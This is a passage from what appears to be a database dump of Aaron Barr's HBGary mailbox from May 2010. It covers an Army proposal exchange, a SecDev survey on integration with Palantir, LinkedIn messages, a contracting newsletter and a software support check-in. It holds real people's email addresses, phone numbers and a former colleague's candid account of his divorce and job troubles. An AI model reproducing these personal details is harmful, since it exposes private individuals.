FOUOhttp://www.informationweek.com/news/mobility/security/showArticle.jhtml?articleID=224700437&amp;queryText=mobile%20and%20spy%20and%20tracks%20and%20android&nbsp;&nbsp;Lieutenant Colonel&nbsp;Lincoln LeibnerUnited States ArmyOperations and Technology Office703-697-7131Classification: UNCLASSIFIEDCaveats: FOUO\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5049,'aaron_hbgary_com/5049.html'),(6290,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004501.M465895P14101Q1145.eml','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','Proposal','Lincoln,\r\n\r\nAttached is the proposal I mentioned.  There are 2 versions of this proposal, this one that we wrote for our customer (they liked the idea but didn\'t have the money to fund it, plus there were some issues with my previous employer as I mentioned), the other was one we wrote purely commercially and submitted to a few VCs.\r\n\r\nThe idea is a very solid idea, nothing like it exists yet.  The organization in my opinion is needed.\r\n\r\nAaron\r\n\r\n',523,'aaron_hbgary_com/523.html'),(6291,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004504.M646292P14101Q1146.eml','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>,\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','Something I dug up','Some I have from one of our artists I thought you would get a kick out of.\r\n\r\nAaron\r\n\r\n',2753,'aaron_hbgary_com/2753.html'),(6292,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004504.M922169P14101Q1147.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Follow-up: SecDev-HBGary - integration work','Sure let&#39;s do 3pm.From my iPhoneOn May 13, 2010, at 8:02 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nI have a call at 2pm... 2:30 or 3:00?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-13, at 7:55 AM, Aaron Barr wrote:Would 2pm be ok?  I have a lunch appointment until about 130pm.\r\nAaronSent from my iPadOn May 13, 2010, at 7:53 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,Would you be free tomorrow? I&#39;m free late morning and through the afternoon. Perhaps 1pm EST?Best wishes,\r\n\r\nArnavOn 2010-05-13, at 7:52 AM, Aaron Barr wrote:Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse.  Let me give you a call this morning if your available?\r\n\r\n\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\n\r\n\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\n\r\n\r\nDate: May 10, 2010 12:21:19 PM EDT\r\n\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\n\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\n\r\n\r\nSubject: SecDev-HBGary - integration work\r\n\r\n\r\nDear Aaron, Rich,\r\n\r\n\r\n\r\n\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary&#39;s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence. Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n\r\n\r\n\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir? Do you have partnerships with firms that provide products similar to Palantir?\r\n\r\n\r\n\r\n\r\n\r\n2.  How many of your prospective clients are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration? What sort of market segment do these clients represent (e.g., commercial, government), and what solution would they be looking for?\r\n\r\n\r\n\r\n\r\n\r\n3.  What is the approximate value of each of your client contracts?  \r\n\r\n\r\na) 10-50Kb) 50-100K\r\n\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n\r\ne) 1M-2Mf) 2M and above\r\n\r\n\r\ng) Other\r\n\r\n\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\n\r\n\r\na) 10-50Kb) 50-100K\r\n\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\n\r\n\r\n\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\n\r\n\r\nBest wishes,\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\n\r\n\r\ncomplexity.engaged\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\nOffice: +1 (613) 755-4007\r\n\r\n\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14702,'aaron_hbgary_com/14702.html'),(6293,'2010-05-13','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297004505.M222271P14101Q1148.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Follow-up: SecDev-HBGary - integration work','Great.\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nOn 2010-05-13, at 9:04 AM, Aaron Barr wrote:Sure let\'s do 3pm.From my iPhoneOn May 13, 2010, at 8:02 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nI have a call at 2pm... 2:30 or 3:00?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-13, at 7:55 AM, Aaron Barr wrote:Would 2pm be ok? &nbsp;I have a lunch appointment until about 130pm.\r\nAaronSent from my iPadOn May 13, 2010, at 7:53 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\nHi Aaron,Would you be free tomorrow? I\'m free late morning and through the afternoon. Perhaps 1pm EST?Best wishes,\r\n\r\nArnavOn 2010-05-13, at 7:52 AM, Aaron Barr wrote:Hi Arnav,The answers are not clear cut, meaning in many cases the answer varies as our customer base is very diverse. &nbsp;Let me give you a call this morning if your available?\r\n\r\n\r\nAaronSent from my iPadOn May 13, 2010, at 7:17 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\n\r\n\r\nDear Aaron, Rich,I am writing to follow-up on my email below regarding gauging the market for integration work. I would be happy to talk to you over the phone about this if you prefer.\r\n\r\n\r\nBest wishes,Arnav613-755-4007From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\n\r\n\r\nDate: May 10, 2010 12:21:19 PM EDT\r\n\r\n\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\n\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\n\r\n\r\nSubject: SecDev-HBGary - integration work\r\n\r\n\r\nDear Aaron, Rich,\r\n\r\n\r\n\r\n\r\n\r\nAs per our brief discussion during the WebEx on Friday, SecDev is currently studying the potential market space for integration work between HBGary\'s malware analysis products and the Palantir platform, to establish what the opportunities are for a potential joint offering, especially when it comes to realtime threat intelligence and combining malware forensic data with network intelligence.&nbsp;Following from our previous discussions, I would appreciate it if you could provide some idea to us of the following aspects of your client base. Please be assured that this information is kept confidential as per the terms of our NDA.\r\n\r\n\r\n\r\n\r\n\r\n1. How many of your existing clients are using data visualization and/or analytical tool similar to Palantir? What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for? Have any of your customers expressed an interest in Palantir specifically, or are currently using Palantir?&nbsp;Do you have partnerships with firms that provide products&nbsp;similar&nbsp;to Palantir?\r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;How many of your prospective clients&nbsp;are using data visualization and/or analytical tool similar to Palantir (or use Palantir), and have asked you about integration?&nbsp;What sort of market segment do these clients represent&nbsp;(e.g., commercial, government), and what solution would they be looking for?\r\n\r\n\r\n\r\n\r\n\r\n3. &nbsp;What is the approximate value of each of your client contracts? &nbsp;\r\n\r\n\r\na) 10-50Kb) 50-100K\r\n\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n\r\ne) 1M-2Mf) 2M and above\r\n\r\n\r\ng) Other\r\n\r\n\r\n4. How much do you think a client would be willing to spend on an integration package between your product and Palantir?\r\n\r\n\r\na) 10-50Kb) 50-100K\r\n\r\n\r\nc) 100-500Kd) 500k-1M\r\n\r\n\r\n5. Do you have any current clients that have an immediate need for integration? If so, what is the main objective of the integration work? Are you interested in a joint venture with SecDev to handle this integration work?\r\n\r\n\r\n\r\n\r\n\r\nThanks very much for your assistance in this. I am also working on scheduling a meeting on May 12 in Washington, as per our last exchange.\r\n\r\n\r\nBest wishes,\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\n\r\n\r\ncomplexity.engaged\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8328,'aaron_hbgary_com/8328.html'),(6294,'2010-05-13','sdshook@yahoo.com','/aaron@hbgary.com/new/1297004505.M450572P14101Q1149.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hi shane','\r\n\r\n  In about 3 hours I will be Sent via BlackBerry from T-MobileFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 13 May 2010 03:17:19 -0700 (PDT)To: Shane Shook&lt;shane@shook.net&gt;Subject: Hi shane\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nAaron Barr has sent you a message.\r\n\r\n\r\n  Date:\r\n  5/13/2010\r\n\r\n\r\n  Subject:\r\n  Hi shane\r\n\r\n\r\n\r\n  Are u available this morning?\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',16438,'aaron_hbgary_com/16438.html'),(6295,'2010-05-13','\"Joshua Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004505.M716430P14101Q1150.eml','\"Aaron Barr\" <aaron@hbgary.com>','Joshua Fugate has recommended you on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn Recommendations\r\n\r\n            \r\n            Joshua Fugate has endorsed your work as Program Manager at Northrop Grumman Information Technology.\r\n\r\n\r\n  \r\n  \r\n     Dear Aaron,\r\nI\'ve written this recommendation of your work to share with other LinkedIn users.\r\n\r\nDetails of the Recommendation:  \"Aaron has that star quality that the most successful businesspeople all seem to share. It\'s not a quality that I have, and it\'s difficult to describe to someone who has never been fortunate enough to work with someone who has it. For three and a half years, the job we worked together was by far the best job I\'ve ever had, and Aaron was a huge part of the reason why.\"\r\n  \r\n  \r\n\r\n                        \r\n\r\n                \r\n                \r\n                \r\n                  This recommendation is not yet displayed on your profile.\r\n                  Display Joshua Fugate\'s recommendation\r\n                \r\n                \r\n  \r\n  This email was sent to you by Joshua Fugate (jsfugate@hotmail.com) through LinkedIn because Joshua Fugate entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',5609,'aaron_hbgary_com/5609.html'),(6296,'2010-05-13','\"Josh Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004505.M962253P14101Q1151.eml','aaron@hbgary.com','RE: Aaron Barr has recommended you on LinkedIn','\r\n\r\n\r\n\r\n\r\nI appreciate that, Aaron. Although to be honest you\'re one of the only people who would probably say that I\'m a pleasure to work with. Most people think I\'m an ass. 		 	   		  \r\n',13265,'aaron_hbgary_com/13265.html'),(6297,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004506.M185920P14101Q1152.eml','\"Josh Fugate\" <jsfugate@hotmail.com>','Re: Aaron Barr has recommended you on LinkedIn','No.  Dan is an ass you can be abrasive or caustic - big difference.  I\r\nappreciate a persons desire and ability to do good work and have a\r\nsense of humor about things.  You have both of those qualities.  To\r\nmany people worry about particulars of personality.  We all have\r\nquirks.  I think having a diverse team is a blast, a challenge.  Never\r\nknow what your going to get, but if taken care of it will likely be\r\ngood.  Hmmm.  I am drifting.\r\n\r\nAnyway, your not an ass and you are a pleasure to work with.  Just\r\nstay positive (ok maybe a tall order), keep your humor and above all\r\nbe constructive.  BTW, sometimes kicking people in the Jimmy can be\r\nconstructive.\r\n\r\nAaron\r\n\r\nPS: IMO there are a few very important qualities; talent,\r\ndrive/desire, perspective - with a dash of humor.  Foster those and\r\nyou will be good.\r\n\r\nSent from my iPad\r\n\r\nOn May 13, 2010, at 10:40 AM, Josh Fugate  wrote:\r\n\r\n> I appreciate that, Aaron. Although to be honest you\'re one of the only people who would probably say that I\'m a pleasure to work with. Most people think I\'m an ass.\r\n',5280,'aaron_hbgary_com/5280.html'),(6298,'2010-05-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004506.M468652P14101Q1153.eml','\"Joshua Fugate\" <jsfugate@hotmail.com>','Re: Joshua Fugate has recommended you on LinkedIn','Thank you.  Your my first recommendation!Sent from my iPadOn May 13, 2010, at 10:39 AM, Joshua Fugate &lt;jsfugate@hotmail.com&gt; wrote:\r\n\r\n\r\n\r\n  \r\n\r\n  \r\n  LinkedIn Recommendations\r\n\r\n            \r\n            Joshua Fugate has endorsed your work as Program Manager at Northrop Grumman Information Technology.\r\n\r\n\r\n  \r\n  \r\n     Dear Aaron,\r\nI&#39;ve written this recommendation of your work to share with other LinkedIn users.\r\n\r\nDetails of the Recommendation:  &quot;Aaron has that star quality that the most successful businesspeople all seem to share. It&#39;s not a quality that I have, and it&#39;s difficult to describe to someone who has never been fortunate enough to work with someone who has it. For three and a half years, the job we worked together was by far the best job I&#39;ve ever had, and Aaron was a huge part of the reason why.&quot;\r\n  \r\n  \r\n\r\n                        \r\n\r\n                \r\n                \r\n                \r\n                  This recommendation is not yet displayed on your profile.\r\n                  Display Joshua Fugate&#39;s recommendation\r\n                \r\n                \r\n  \r\n  This email was sent to you by Joshua Fugate (jsfugate@hotmail.com) through LinkedIn because Joshua Fugate entered your email address. If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n\r\n\r\n  © 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',6270,'aaron_hbgary_com/6270.html'),(6299,'2010-05-13','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297004506.M767261P14101Q1154.eml','aaron@hbgary.com','Exclusive with George Schindler: CGI\'s Billion Dollar Aquisition','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon\r\n Executive&nbsp;By Jim\r\n GarrettsonMay 13,\r\n 2010Exclusive with George Schindler: CGI\'s Billion Dollar\r\n Aquisition\r\n In an exclusive interview, George\r\n Schindler discusses the recent decision to acquire Stanley, which, if\r\n approved, will push CGI Federal to around $1.2 billion in annual revenue.\r\n Schindler also opened up about his passions outside\r\n work.&nbsp; Click Here to Read\r\n More7\r\n Things You Don\'t Know About Schindler&nbsp;\r\n \r\n Click Here to Watch the Video\r\n Interview Why\r\n Successful Partnerships are Critical for Promoting \r\nCybersecurity\r\n Melissa\r\n HathawayProtecting the digital infrastructure is a shared responsibility\r\n of governments and private sector participants.&nbsp; Although some may argue that\r\n government must take charge, achieving success here will require action from all,\r\n including partnerships between governments, within the private sector, and between\r\n government and the private sector.&nbsp; While some refer to private-public\r\n partnerships, in fact what is needed are public-public partnerships,\r\n private-private partnerships and private-public\r\n partnerships..Click Here to Read\r\n MoreThe Faces of Cerberus: Private Equity Bets on Government\r\n ContractingCerberus Capital Management, one of the largest\r\n private equity firms in the United States, jumped into the government contracting\r\n industry with both feet by purchasing DynCorp International for $1.5\r\n billion.Click Here to Read\r\n MoreMajor\r\n Moves to Fairfax County: Local Leaders Weigh\r\n InIn the United States, there have\r\n been six major corporate headquarter relocations in the past three years.&nbsp;\r\n Four of them came to Fairfax County: CSC, SAIC, Volkswagen North America, Hilton\r\n North America; and Northrop Grumman also chose Virginia, with a final decision on\r\n the site to be made soon.&nbsp; We spoke to Dr. Gerald Gordon, head of the Fairfax\r\n County Economic Development Authority, to find out how Fairfax has achieved this\r\n impressive track record. Click Here to Read\r\n MoreDo We\r\n Need a Service Academy for AcquisitionsCurrently, the United States suffers from an impending shortfall in\r\n acquisitions personnel, a major focus area for \"inherently governmental\"\r\n work.&nbsp; \"In fiscal year 2000, there were 56,000 federal employees to manage\r\n $208 billion worth of contracts. Seven years later, there were 61,000 acquisition\r\n personnel managing $517 billion. So, while the value of contracts in that period\r\n increased by 149%, the workforce devoted to managing them only increased by 9%,\"\r\n Congressman Gerry Connolly said last year. Click Here to Read\r\n MoreMartha\r\n Johnson to Speak at Potomac Officers ClubGSA\'s focus in 2010 is innovation, according to Martha Johnson\'s\r\n remarks at the 2010 Government Web & New Media Conference.&nbsp; She reminded\r\n conference attendees through Skype that GSA serves every government agency,\r\n contracting the tools and expertise they need to complete their missions.&nbsp;\r\n She\'ll be speaking at the Potomac Officers Club at a luncheon event on June 2nd,\r\n click here to\r\n register.&nbsp;Healthcare reform and Medicaid: Seven ways to restore \r\nprovider confidence in Medicaid reimbursement\r\n process&nbsp;Bill Bodie Resigns from KBRDonna\r\n Morea on CGI\'s Acquisition of Stanley\r\n AssociatesSenate Confirms Lt. Gen. Alexander to Head Cyber\r\n Command&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n ExecutiveBiz\'s third annual list of \r\nBeltway Game Changers to\r\n Watch&nbsp;Martha\r\n Johnson&nbsp;Robert\r\n StevensDan\r\n Gordon\r\n\r\n Jeff\r\n Zients&nbsp;Howard\r\n Schmidt&nbsp;Bill\r\n Ballhaus&nbsp;Robin\r\n Lineberger&nbsp;Paul\r\n Cofoni&nbsp;George\r\n Pedersen&nbsp;Lt.\r\n General Keith\r\n AlexanderClick Here to Read\r\n More&nbsp;&nbsp;Raytheon, Wyle\r\n and Alion Book Air Force ContractsStan Sloane,\r\n Rick Nadeau on SRA Fiscal Results; Firm Claims Billion Dollar\r\n ContractLockheed Moving\r\n Forward with FAARaytheon to\r\n Produce Jammers for Air ForceBooz Allen,\r\n General Dynamics Claim DoD DealsSAIC Set to Work\r\n on Army SC Distribution Management CenterSTG Inks Deal to\r\n Support Army Relocation from Fort MonroeGeneral\r\n Dynamics, Boeing Book DoD DealsBooz Claims Four\r\n Air Force Deals in One DayL-3, Raytheon,\r\n BAE Win Navy ContractsUPDATED: Bill\r\n Bodie Resigns from KBRCSC Names Siki\r\n Giunta head of Cloud Computing, Promotes Brian BoruffCGI Acquires\r\n StanleyMore from Donna\r\n Morea on CGI\'s Stanley AcquisitionRene LaVigne on\r\n New Contract, Working with TANDBERGClick Here for\r\n More GovConwireJob Prospects\r\n Good for Cyber ProsCyber Bill\r\n Looks to Empower and PunishIC3 Celebrates\r\n 10 Years with 1.5 Million ComplaintsFinancial\r\n Institutions Must Assume Customers are Compromised says WhiteHat CTOMaryland Sets\r\n Goal to Become Cyber Epicenter\'I live in a\r\n world of nightmares,\' Says French Cyber ExpertNon-Latin\r\n Addresses Go Live as ICANN Opens Up InternetOperation\r\n Network Raider Nabs 30 Crooks and Fake Network HardwareClick Here for\r\n More from The New New\r\n Internet Coming Soon: Cyber Corridor?\r\n  Ernst &\r\n Young Pulls Back Curtain on EOY Nominees  SRA\r\n Wins Piece of Billion Dollar Contract with DoD  CGI Moves to Buy Stanley\r\n  Bill Bodie Leaving KBR\r\n  ESGI\'s Evan Scott: Contracting Gigs for SES Not in the Bag\r\n Click Here for\r\n More from GovCon Executive\r\n Hackers,\r\n Phishers Target ServicemembersNASA Goes\r\n Underwater for Mission NEEMODifferences\r\n Between Conventional, Irregular Warfare Less Important, Says GatesEPA\r\n Administrator Jackson Visits Gulf RegionPentagon Unveils\r\n New Widget to Spread the NewsSecretary Gates\r\n Talks Budget on VE DayGovernment\r\n Collaboration with Help of Virtual WorldsHHS Awards $6M\r\n to Establish Center to Aid People with DisabilitiesNASA Names Chris\r\n C. Kemp as CTO for ITFBI Names Robert\r\n Anderson Jr. SAC of Intelligence DivisionClick Here for\r\n More from ExecutiveGovFeatured VideoKeil on DHS\r\n BalanceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n Bill Bodie Resigns from\r\n KBRKBR (NYSE:KBR) official Bill Bodie will be\r\n resigning his position as head of North American Government and Defense, according\r\n to a source inside the company.Click Here to Read\r\n MoreHealthcare reform and Medicaid: Seven ways to restore provider \r\nconfidence in Medicaid reimbursement\r\n processAmong the many profound changes spelled out in Sunday\'s\r\n passage of healthcare reform is this: An estimated 16 million more low-income\r\n people nationwide will become eligible for Medicaid. The question now is, How can\r\n the current system support rising enrollment? States that have already invested in\r\n a modern web-based Medicaid Management Information System (MMIS) will have the\r\n flexibility and scalability to deal with an increased Medicaid recipient\r\n population.Click Here to Read\r\n MoreDonna\r\n Morea on CGI\'s Acquisition of Stanley\r\n AssociatesCGI Group Inc. announced last week that\r\n it will acquire (NYSE: GIB; TSX: GIB.A) Stanley Inc. (NYSE: SXE) for a cash tender\r\n offer at $37.50 per share, a total of $1.07 billion.Click Here to Read\r\n MoreSenate Confirms Lt. Gen. Alexander to Head\r\n Cyber CommandThe\r\n Senate has confirmed Army Lt. Gen. Keith B. Alexander, director of the National\r\n Security Agency, to lead the new U.S. Cyber Command.Click Here to Read\r\n MoreSave The\r\n DateWhat: Ernst & Young Entrepreneur Of The Year 2010 Greater\r\n Washington Awards Gala.The Ernst & Young Entrepreneur Of The Year 2010 finalists have a lot to\r\n celebrate. They\'ve built their dream companies. Expanded. Innovated. It\'s time to\r\n recognize their achievements. Join us at this year\'s event and see who will take\r\n home top honors.Shine\r\n your shoes. Raise your glass. Get inspired.When:Thursday, June 24, 20106:00 - 9:30\r\n p.m.Where: Ritz-Carlton, Tysons Corner,\r\n VAFor more information click or call +1 703 747 0858920\r\n Click Here to\r\n Register.\r\n A\r\n Letter from the EditorThrough our weekly emagazine and daily blog,\r\n ExecutiveBiz offers our readership an insider\'s view of news and trends shaping\r\n small, medium, and large companies within industries such as defense, technology,\r\n and health care.&nbsp; In addition to our daily blog, we\'ve launched four new\r\n media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\n Each week, we deliver in-depth profiles of industry leaders, candid Q&As, plus the\r\n latest news and trends, and value-add information to help you do your job\r\n better.&nbsp; You\'re a big part of the equation both online and off &#8212; which\r\n is why we want to hear from you. Have a story tip? Or an idea for a speaking\r\n event? Feel free to contact me direct. You can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp;\r\n ExecutiveBiz, 8230 Old Courthouse\r\n RoadVienna, VA 22181Update PreferencesList\r\n Unsubscribe\r\n',1092,'aaron_hbgary_com/1092.html'),(6300,'2010-05-13','\"Josh Fugate\" <jsfugate@hotmail.com>','/aaron@hbgary.com/new/1297004506.M998924P14101Q1155.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Aaron Barr has recommended you on LinkedIn','\r\n\r\n\r\n\r\n\r\nI feel as though I need to add a correction on the Facebooks, because a lot of people are telling me that I need to keep my head up, etc.I\'m relieved that I\'m finally getting out of here. Brown asked me yesterday why I hadn\'t quit sooner considering all that had gone on. (He wasn\'t asking to be a dick or anything, just out of curiosity) I finally decided that it took me this long because I had some hope - if not a lot - that things would be good again here. I think it\'s like my first wife. We were miserable for months but it still took us a while to file for divorce for the same reason. It was really good for a while and who knows? Maybe it would get better. But it didn\'t, and we went our separate ways. And the key thing is, thank god we did, because if we\'d stayed together we\'d both be miserable.And NG is like that too. It was so good for a long time it was kind of hard to believe when things went bad. And even though I was 99% sure it would continue sucking, there was still a chance that it would go back to being how it was. Of course there really wasn\'t, but inaction is always easier than action. So it took me a while to finally decide to part ways.The point is, though, that while it was a difficult decision to abandon my traditional role as breadwinner for the family, the facts of the matter are these:Every penny I\'d make for the rest of the year would go to paying taxes on my wife\'s income (Yeah, she\'s that good) and you probably can guess how I feel about thatI\'ve been a bastard to my family for at least the last 6 months and work has been a huge reason for that.I\'m going back to school in August and who knows, maybe I\'ll find a job with people I actually like again sometime in the interim.I know I\'m going to be a million times happier now that I\'ve moved on.So while I appreciate that so many people are concerned about me, it\'s really unnecessary. I\'m happier today than I\'ve been in a long time, and I think it\'s only going to get better. 		 	   		  \r\n',15244,'aaron_hbgary_com/15244.html'),(6301,'2010-05-13','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297004507.M399055P14101Q1156.eml','n.villeneuve@secdev.ca,n.villeneuve@secdev.ca','checking in... Did you get Responder Pro working?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Nart,\r\n\r\n\r\nJust wanted to see if you got everything working with Responder and to see if\r\nyou have any questions.&nbsp; If you do please feel free to call me or you can\r\nalways contact support@hbgary.com too.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThanks for your time yesterday and I look forward to working\r\nwith your organization.\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\nRich Cummings| CTO | HBGary,\r\nInc\r\n\r\n3604 Fair Oaks Blvd, Suite\r\n250 Sacramento, Ca 95864\r\n\r\n703-999-5012 cell |&nbsp;\r\n301-652-8885 x112 office | 916-481-1960 